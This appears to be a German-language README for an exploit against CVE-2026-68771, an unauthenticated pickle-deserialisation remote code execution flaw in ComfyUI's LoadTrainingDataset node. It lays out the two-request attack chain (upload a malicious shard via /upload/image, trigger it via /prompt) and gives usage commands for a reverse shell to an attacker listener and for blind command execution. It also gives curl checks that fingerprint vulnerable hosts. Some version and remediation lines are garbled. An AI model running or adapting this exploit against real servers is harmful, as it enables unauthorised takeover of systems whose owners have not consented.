
Nicht authentifizierter Exploit für CVE-2026-68771, eine Pickle-Deserialisierungs-RCE in ComfyUI. Hinterlegt einen manipulierten Shard über /upload/image, löst ihn über /prompt aus und führt Befehle aus oder öffnet eine Reverse Shell.
Nicht authentifizierte Remote-Codeausführung in ComfyUI
über den LoadTrainingDataset-Knoten.
LoadTrainingDataset.execute() lädt Dataset-Shards aus dem Ausgabeverzeichnis des Servers mit
torch.load(f) und ohne weights_only=True. Bei PyTorch < 2.6 (wo weights_only
standardmäßig False ist) führt ein manipuliertes shard_*.pkl beim Laden sein Pickle-__reduce__ aus (CWE-502).
ComfyUI wird ohne Authentifizierung ausgeliefert, und die /upload/image-Route (mit type=output)
schreibt die rohen hochgeladenen Bytes ohne Überprüfung der Dateiendung, sodass eine .pkl-Datei abgelegt und dann
in zwei nicht authentifizierten Anfragen ausgelöst werden kann.
0.23.0 auf PyTorch < 2.68188 (nicht authentifiziert)Nur die Python-3-Standardbibliothek — keine Abhängigkeiten.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
Der Befehl wird auf dem Server ausgeführt; seine Ausgabe wird nicht zurückgegeben. Verwenden Sie daher --shell für eine Reverse-Shell (oder schreiben Sie in einen lesbaren Pfad), um das Ergebnis zu sehen.
Zwei nicht authentifizierte Anfragen:
Ablegen — POST /upload/image mit type=output, subfolder=training_dataset, Dateiname
shard_0000.pkl. Die /upload/image-Route schreibt die rohen Bytes (keine Bildverarbeitung auf diesem
Pfad), sodass das Pickle unverändert unter output/training_dataset/shard_0000.pkl landet. Das __reduce__
des Pickles gibt (os.system, (cmd,)) zurück.
Auslösen — POST /prompt mit einem Workflow: ein LoadTrainingDataset-Knoten
(folder_name=training_dataset), der mit einem SaveLatent-Ausgabeknoten verbunden ist. Der Ausgabeknoten zwingt
ComfyUI, LoadTrainingDataset auszuführen, das per Glob auflistet und aufruft:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True) laden.weights_only standardmäßig True ist und der eingeschränkte
Unpickler os.system ablehnt.Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie es ausschließlich gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testberechtigung haben.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
Das __reduce__ des Pickles führt während der Deserialisierung os.system(cmd) aus.